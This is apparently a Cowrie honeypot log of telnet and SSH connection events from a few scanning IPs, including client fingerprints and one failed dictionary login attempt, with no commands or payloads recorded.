{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48664,"dst_ip":"10.17.0.5","dst_port":23,"session":"281a3ff3956f","protocol":"telnet","message":"New connection: 198.50.122.223:48664 (10.17.0.5:23) [session: 281a3ff3956f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.654563Z"}
{"eventid":"cowrie.session.closed","duration":31.4330415725708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.679590Z","src_ip":"198.50.122.223","session":"00333e993ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48988,"dst_ip":"10.17.0.5","dst_port":23,"session":"68dde8d21e4d","protocol":"telnet","message":"New connection: 198.50.122.223:48988 (10.17.0.5:23) [session: 68dde8d21e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:51.690490Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50882,"dst_ip":"10.17.0.5","dst_port":23,"session":"490db4d6664a","protocol":"telnet","message":"New connection: 198.50.122.223:50882 (10.17.0.5:23) [session: 490db4d6664a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.193355Z"}
{"eventid":"cowrie.session.closed","duration":30.332082748413086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.257499Z","src_ip":"198.50.122.223","session":"03a5b610afc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895838260650635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.305151Z","src_ip":"198.50.122.223","session":"b821a542763c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40794849395752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.349238Z","src_ip":"198.50.122.223","session":"172ce8c142a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23569631576538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.367052Z","src_ip":"198.50.122.223","session":"33f1d41ae85d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.974464893341064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.409271Z","src_ip":"198.50.122.223","session":"7e897f6570f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37036371231079,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.454171Z","src_ip":"198.50.122.223","session":"2e0547a8ac3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":38648,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddd6c0d24069","protocol":"ssh","message":"New connection: 69.6.221.248:38648 (159.203.135.109:22) [session: ddd6c0d24069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.608796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.613997Z","src_ip":"69.6.221.248","session":"ddd6c0d24069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:52.729658Z","src_ip":"69.6.221.248","session":"ddd6c0d24069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55230,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3025a5fc794","protocol":"telnet","message":"New connection: 198.50.122.223:55230 (10.17.0.5:23) [session: b3025a5fc794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.156750Z"}
{"eventid":"cowrie.login.failed","username":"test1","password":"qwertyuiop","message":"login attempt [test1/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.218163Z","src_ip":"69.6.221.248","session":"ddd6c0d24069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55462,"dst_ip":"10.17.0.5","dst_port":23,"session":"e02f988a6367","protocol":"telnet","message":"New connection: 198.50.122.223:55462 (10.17.0.5:23) [session: e02f988a6367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.243553Z"}
{"eventid":"cowrie.session.closed","duration":30.735914707183838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.416270Z","src_ip":"198.50.122.223","session":"d5a0a7e5ab1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108883142471313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.430558Z","src_ip":"198.50.122.223","session":"bc1507827355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56166,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc41b27fd75","protocol":"telnet","message":"New connection: 198.50.122.223:56166 (10.17.0.5:23) [session: cdc41b27fd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.460268Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56438,"dst_ip":"10.17.0.5","dst_port":23,"session":"400102e99308","protocol":"telnet","message":"New connection: 198.50.122.223:56438 (10.17.0.5:23) [session: 400102e99308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.513772Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57266,"dst_ip":"10.17.0.5","dst_port":23,"session":"85975a16384f","protocol":"telnet","message":"New connection: 198.50.122.223:57266 (10.17.0.5:23) [session: 85975a16384f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.688692Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57568,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aef6ae8d416","protocol":"telnet","message":"New connection: 198.50.122.223:57568 (10.17.0.5:23) [session: 5aef6ae8d416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.730126Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57846,"dst_ip":"10.17.0.5","dst_port":23,"session":"7352c9d095e8","protocol":"telnet","message":"New connection: 198.50.122.223:57846 (10.17.0.5:23) [session: 7352c9d095e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.754428Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57994,"dst_ip":"10.17.0.5","dst_port":23,"session":"386783abf1a9","protocol":"telnet","message":"New connection: 198.50.122.223:57994 (10.17.0.5:23) [session: 386783abf1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.770213Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59086,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8a0a9ef4ab8","protocol":"telnet","message":"New connection: 198.50.122.223:59086 (10.17.0.5:23) [session: c8a0a9ef4ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:53.976555Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59658,"dst_ip":"10.17.0.5","dst_port":23,"session":"53a0cb9ca03d","protocol":"telnet","message":"New connection: 198.50.122.223:59658 (10.17.0.5:23) [session: 53a0cb9ca03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:54.208444Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55534,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8baa36bae8e","protocol":"telnet","message":"New connection: 198.50.122.223:55534 (10.17.0.5:23) [session: d8baa36bae8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:54.284843Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:54.335395Z","src_ip":"69.6.221.248","session":"ddd6c0d24069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66478204727173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:54.340566Z","src_ip":"198.50.122.223","session":"7b76150aca6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245230197906494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:54.380408Z","src_ip":"198.50.122.223","session":"0173cf261302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.387200355529785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:54.700444Z","src_ip":"198.50.122.223","session":"acbefbb6801c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34070,"dst_ip":"10.17.0.5","dst_port":23,"session":"156d5a169584","protocol":"telnet","message":"New connection: 198.50.122.223:34070 (10.17.0.5:23) [session: 156d5a169584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:54.713461Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57424,"dst_ip":"10.17.0.5","dst_port":23,"session":"83470337723c","protocol":"telnet","message":"New connection: 198.50.122.223:57424 (10.17.0.5:23) [session: 83470337723c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:54.721109Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54984,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ffdf45fbc5e","protocol":"telnet","message":"New connection: 198.50.122.223:54984 (10.17.0.5:23) [session: 4ffdf45fbc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:55.053029Z"}
{"eventid":"cowrie.session.closed","duration":30.811423301696777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:55.201914Z","src_ip":"198.50.122.223","session":"23bbaaf23377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36276,"dst_ip":"10.17.0.5","dst_port":23,"session":"26a4d5faa0d7","protocol":"telnet","message":"New connection: 198.50.122.223:36276 (10.17.0.5:23) [session: 26a4d5faa0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:55.256645Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36476,"dst_ip":"10.17.0.5","dst_port":23,"session":"51115ea9b6b0","protocol":"telnet","message":"New connection: 198.50.122.223:36476 (10.17.0.5:23) [session: 51115ea9b6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:55.314580Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36660,"dst_ip":"10.17.0.5","dst_port":23,"session":"239d1962b072","protocol":"telnet","message":"New connection: 198.50.122.223:36660 (10.17.0.5:23) [session: 239d1962b072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:55.376469Z"}
{"eventid":"cowrie.session.closed","duration":30.585843324661255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:55.456948Z","src_ip":"198.50.122.223","session":"08fc070f82d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":32786,"dst_ip":"10.17.0.5","dst_port":23,"session":"785178f7dc8a","protocol":"telnet","message":"New connection: 198.50.122.223:32786 (10.17.0.5:23) [session: 785178f7dc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:55.491505Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40068,"dst_ip":"10.17.0.5","dst_port":23,"session":"01012999aaaf","protocol":"telnet","message":"New connection: 198.50.122.223:40068 (10.17.0.5:23) [session: 01012999aaaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:56.044333Z"}
{"eventid":"cowrie.session.closed","duration":30.83895468711853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:56.051643Z","src_ip":"198.50.122.223","session":"4c549465414c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.284167289733887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:56.065548Z","src_ip":"198.50.122.223","session":"c3f2b070cba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619258165359497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:56.200819Z","src_ip":"198.50.122.223","session":"8adc22c97656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40594,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de0ab2b0a21","protocol":"telnet","message":"New connection: 198.50.122.223:40594 (10.17.0.5:23) [session: 8de0ab2b0a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:56.232687Z"}
{"eventid":"cowrie.session.closed","duration":30.466211080551147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:56.351249Z","src_ip":"198.50.122.223","session":"d1154f687b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.132789373397827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:56.436707Z","src_ip":"198.50.122.223","session":"3d655279045b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42142,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d03fb4f6be2","protocol":"telnet","message":"New connection: 198.50.122.223:42142 (10.17.0.5:23) [session: 1d03fb4f6be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:56.590378Z"}
{"eventid":"cowrie.session.closed","duration":31.181577920913696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.012901Z","src_ip":"198.50.122.223","session":"ede0deadb222","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44084,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b2a54a0cdd","protocol":"telnet","message":"New connection: 198.50.122.223:44084 (10.17.0.5:23) [session: 18b2a54a0cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.018371Z"}
{"eventid":"cowrie.session.closed","duration":120.0011157989502,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.084661Z","src_ip":"154.110.11.213","session":"b74c0d0eedb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00126886367798,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.134593Z","src_ip":"154.110.11.213","session":"659271051bd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852729320526123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.154260Z","src_ip":"198.50.122.223","session":"4022c7f42cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bcb47ab376a","protocol":"telnet","message":"New connection: 198.50.122.223:44536 (10.17.0.5:23) [session: 3bcb47ab376a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.211001Z"}
{"eventid":"cowrie.session.closed","duration":30.84074902534485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.273699Z","src_ip":"198.50.122.223","session":"3454a7ce2f25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44944,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ba32de97bf9","protocol":"telnet","message":"New connection: 198.50.122.223:44944 (10.17.0.5:23) [session: 3ba32de97bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.327046Z"}
{"eventid":"cowrie.session.closed","duration":31.41404891014099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.603372Z","src_ip":"198.50.122.223","session":"815f218d2e84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46386,"dst_ip":"10.17.0.5","dst_port":23,"session":"3881769782b6","protocol":"telnet","message":"New connection: 198.50.122.223:46386 (10.17.0.5:23) [session: 3881769782b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:57.650071Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48368,"dst_ip":"10.17.0.5","dst_port":23,"session":"99b12c0a7272","protocol":"telnet","message":"New connection: 198.50.122.223:48368 (10.17.0.5:23) [session: 99b12c0a7272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:58.117625Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48862,"dst_ip":"10.17.0.5","dst_port":23,"session":"af27fc626962","protocol":"telnet","message":"New connection: 198.50.122.223:48862 (10.17.0.5:23) [session: af27fc626962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:58.267037Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49008,"dst_ip":"10.17.0.5","dst_port":23,"session":"4afde81ff154","protocol":"telnet","message":"New connection: 198.50.122.223:49008 (10.17.0.5:23) [session: 4afde81ff154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:58.301834Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49338,"dst_ip":"10.17.0.5","dst_port":23,"session":"416fe024907b","protocol":"telnet","message":"New connection: 198.50.122.223:49338 (10.17.0.5:23) [session: 416fe024907b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:58.352846Z"}
{"eventid":"cowrie.session.closed","duration":31.26061224937439,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:58.372387Z","src_ip":"198.50.122.223","session":"1b50ba7205ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49688,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3583630f2e9","protocol":"telnet","message":"New connection: 198.50.122.223:49688 (10.17.0.5:23) [session: b3583630f2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:58.441296Z"}
{"eventid":"cowrie.session.closed","duration":31.43574333190918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:58.632174Z","src_ip":"198.50.122.223","session":"d014e1a77fba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89743423461914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:59.500426Z","src_ip":"198.50.122.223","session":"2be9eb65396b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.809131383895874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:59.511739Z","src_ip":"198.50.122.223","session":"ed5f14d7cfb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887243270874023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:59.608792Z","src_ip":"198.50.122.223","session":"8d03d5a547e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58622,"dst_ip":"10.17.0.5","dst_port":23,"session":"df800eedc8ee","protocol":"telnet","message":"New connection: 198.50.122.223:58622 (10.17.0.5:23) [session: df800eedc8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:00.369827Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59516,"dst_ip":"10.17.0.5","dst_port":23,"session":"239db892cbd1","protocol":"telnet","message":"New connection: 198.50.122.223:59516 (10.17.0.5:23) [session: 239db892cbd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:00.466173Z"}
{"eventid":"cowrie.session.closed","duration":30.63876247406006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:00.571396Z","src_ip":"198.50.122.223","session":"217e130be747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34493,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3389c358034","protocol":"telnet","message":"New connection: 198.50.122.223:34493 (10.17.0.5:23) [session: f3389c358034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:01.140902Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34706,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f5e357b7ceb","protocol":"telnet","message":"New connection: 198.50.122.223:34706 (10.17.0.5:23) [session: 2f5e357b7ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:01.239320Z"}
{"eventid":"cowrie.session.closed","duration":30.580092430114746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:01.269105Z","src_ip":"198.50.122.223","session":"4eab05614f46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":42910,"dst_ip":"159.203.135.109","dst_port":22,"session":"2947db48e9e7","protocol":"ssh","message":"New connection: 103.228.69.212:42910 (159.203.135.109:22) [session: 2947db48e9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:01.611267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:01.616432Z","src_ip":"103.228.69.212","session":"2947db48e9e7","protocol":"ssh"}
